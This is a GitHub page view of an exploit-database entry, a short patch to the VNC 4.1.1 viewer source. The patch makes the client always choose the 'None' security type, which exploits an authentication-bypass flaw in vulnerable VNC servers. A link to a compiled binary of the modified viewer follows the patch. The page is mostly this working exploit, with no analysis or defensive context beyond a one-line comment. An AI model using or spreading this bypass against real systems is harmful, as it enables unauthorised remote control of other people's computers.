forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path1791.patch
More file actions
executable file
·20 lines (16 loc) · 857 Bytes
/
Copy path1791.patch
File metadata and controls
executable file
·20 lines (16 loc) · 857 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
xx vnc-4_1_1-unixsrc.bl4ck/common/rfb/CConnection.cxx
--- vnc-4_1_1-unixsrc/common/rfb/CConnection.cxx 2005-03-11 09:08:41.000000000 -0600
+++ vnc-4_1_1-unixsrc.bl4ck/common/rfb/CConnection.cxx 2006-05-15 14:03:30.000000000 -0500
@@ -183,7 +183,12 @@
// Inform the server of our decision
if (secType != secTypeInvalid) {
- os->writeU8(secType);
+
+ // [BL4CK] In response to the VNC Null Authentication
+ // force a secType to equal secTypeNone
+ // http://blacksecurity.org
+ secType = secTypeNone;
+ os->writeU8(secTypeNone);
os->flush();
vlog.debug("Choosing security type %s(%d)",secTypeName(secType),secType); }
Compiled: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/1791.rar (05162006-BL4CK-vncviewer-authbypass.rar)